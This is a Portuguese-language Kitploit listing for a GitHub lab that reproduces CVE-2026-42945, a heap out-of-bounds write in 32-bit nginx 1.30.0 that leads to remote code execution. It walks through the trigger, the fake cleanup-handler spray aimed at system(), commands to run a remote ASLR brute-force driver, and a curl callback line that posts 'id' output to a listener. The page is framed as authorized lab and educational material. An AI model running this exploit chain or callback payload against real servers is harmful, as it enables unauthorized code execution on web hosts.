Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-42945-nginx32-lab — CVE-2026-42945 laboratório de exploit nginx 32-bit com ASLR ativado | Kitploit
Ferramentas/GitHubGitHub/dinosn/cve-2026-42945-nginx32-lab
Análise de VulnerabilidadesExploraçãoSegurança WebCTFTestes de PenetraçãoAprendizado e EducaçãoExploração de BináriosLabs e Prática
GitHubdinosn/cve-2026-42945-nginx32-lab

cve-2026-42945-nginx32-lab

CVE-2026-42945 laboratório de exploit nginx 32-bit com ASLR ativado

Ver Repositório
214há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-42945 nginx 32-bit Laboratório de Exploit

Este repositório é um laboratório Docker reproduzível para estudar a CVE-2026-42945 no nginx 1.30.0. Ele contém um alvo 32-bit vulnerável, um acionador de primitiva, um validador de RCE com endereço conhecido assistido por laboratório e um driver de força bruta sem introspecção.

A fronteira da prova é importante:

  • exploit/trigger_oob.py demonstra a primitiva de escrita OOB no heap.
  • exploit/lab_known_address.py comprova o mecanismo de RCE no Docker, mas é assistido por laboratório porque lê /proc/<pid>/maps via docker exec.
  • exploit/remote_bruteforce.py não usa SSH, Docker, /proc, ptrace ou endereços conhecidos. Ele força bruta candidatos a heap-page SAFE e libc-page e trata o callback de saída como o único sinal de sucesso.

O caminho de força bruta remoto ainda depende do layout atual de ASLR do master nginx. Se o endereço de spray não for representável pelo alfabeto de bytes seguro para URI exigido, uma passagem completa falhará até que o processo master do nginx seja reiniciado ou recarregado e o ASLR seja rolado novamente. Assim como o validador de endereço conhecido, o caminho completo de RCE deve ser executado em um host Docker Linux x86 nativo em vez de um destino Docker Desktop emulado por QEMU.

Requisitos

  • Docker com suporte a Compose.
  • Suporte a contêineres Linux/386.
  • Para o validador completo de RCE com endereço conhecido, use um host Docker Linux x86 nativo onde /proc/<pid>/maps exponha o layout real de endereços de 32 bits do worker nginx. O Docker Desktop em hosts não-x86 pode executar o alvo sob qemu-i386; isso é suficiente para validar a falha OOB, mas não a matemática do RCE com endereço conhecido.
  • Python 3 no host para os scripts de exploit.

Início Rápido

Crie e inicie o laboratório nginx 32-bit vulnerável:

root@kitploit:~
docker compose up -d --build
curl http://127.0.0.1:19331/

Acione a escrita OOB controlada:

root@kitploit:~
python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20

Execute o validador de RCE determinístico somente Docker:

root@kitploit:~
python3 exploit/lab_known_address.py --restart-until-safe

Execute o driver de força bruta sem introspecção:

root@kitploit:~
python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
  --shuffle --seed 42945 \
  --attempt-delay 0.02 \
  --batch-size 5000 --batch-cooldown 10 \
  --progress-every 1000

host.docker.internal é usado como host de callback para que o comando embutido no worker nginx possa fazer POST da saída de id de volta ao listener iniciado pelo script de exploit. O arquivo Compose mapeia esse nome para mecanismos Docker Linux.

Passo a Passo da Exploração

1. Construa E Inicie O Laboratório

Construa e inicie o laboratório 32-bit

O alvo Compose compila o nginx 1.30.0 como um binário 32-bit no estilo release e o inicia em 127.0.0.1:19331. Um GET / simples retorna ok, provando que o alvo está acessível antes do início da exploração.

2. Acione A Escrita OOB

Acione o caminho de rewrite vulnerável

O acionador envia um segmento de URI capturado composto por bytes + através do caminho vulnerável rewrite mais set $myvar $1. + é escapado por NGX_ESCAPE_ARGS, então a passagem de cópia escreve três bytes para cada byte de entrada. O script imprime o tamanho esperado do estouro antes de enviar a requisição.

3. Valide O RCE Com Assistência Do Laboratório

Valide o mecanismo de RCE com assistência somente Docker

O validador de endereço conhecido é intencionalmente assistido. Ele lê o heap do worker ativo e os mapeamentos de libc do contêiner Docker, calcula o endereço do fake cleanup handler, envia a mesma sequência de exploit no nível de wire e aguarda o callback. A saída uid=65534(nobody) é o worker nginx executando id. Esta captura de tela é de uma execução Docker x86 nativa; em configurações Docker Desktop não-x86, o script pode parar com um requisito de host nativo qemu-i386 em vez disso.

4. Execute O Caminho De Força Bruta Somente Remoto

Execute o caminho de força bruta sem introspecção

O script de força bruta remoto remove as leituras de endereço exclusivas do laboratório. Ele enumera candidatos a heap-page SAFE e candidatos a libc-page e usa apenas o callback como oráculo de sucesso. Esgotar uma passagem sem callback não refuta a primitiva; geralmente significa que o layout atual do master nginx não é favorável para esse alfabeto de payload, ou a passagem precisa de uma reinicialização/recarga do master para rolar novamente o ASLR.

Como A Sequência De RCE Funciona

O exploit usa três papéis de requisição simultâneos:

  1. /spray mantém viva uma alocação do corpo da requisição e coloca um registro fake ngx_pool_cleanup_t mais o comando de callback na memória do heap do worker nginx.
  2. /api/<payload> alcança o script de rewrite vulnerável e atrasa o terminador final da requisição até que a requisição vítima esteja no lugar.
  3. / cria o pool de requisição adjacente cujo ponteiro cleanup é o alvo da escrita OOB controlada.

Quando o pool de requisição corrompido é destruído, o nginx segue o ponteiro de cleanup sobrescrito. No caminho de RCE do laboratório, o handler de limpeza falso aponta para system() e seu ponteiro de dados aponta para:

root@kitploit:~
id|curl -sm3 -d @- http://host.docker.internal:9876/rce

O listener do exploit trata esse POST como o único sinal de sucesso do RCE.

Limpeza

root@kitploit:~
docker compose down

Notas De Segurança

Este laboratório é para validação de segurança autorizada e educação. Mantenha-o isolado, não exponha a porta do laboratório a redes não confiáveis e não execute o exploit contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.

Baixar ferramenta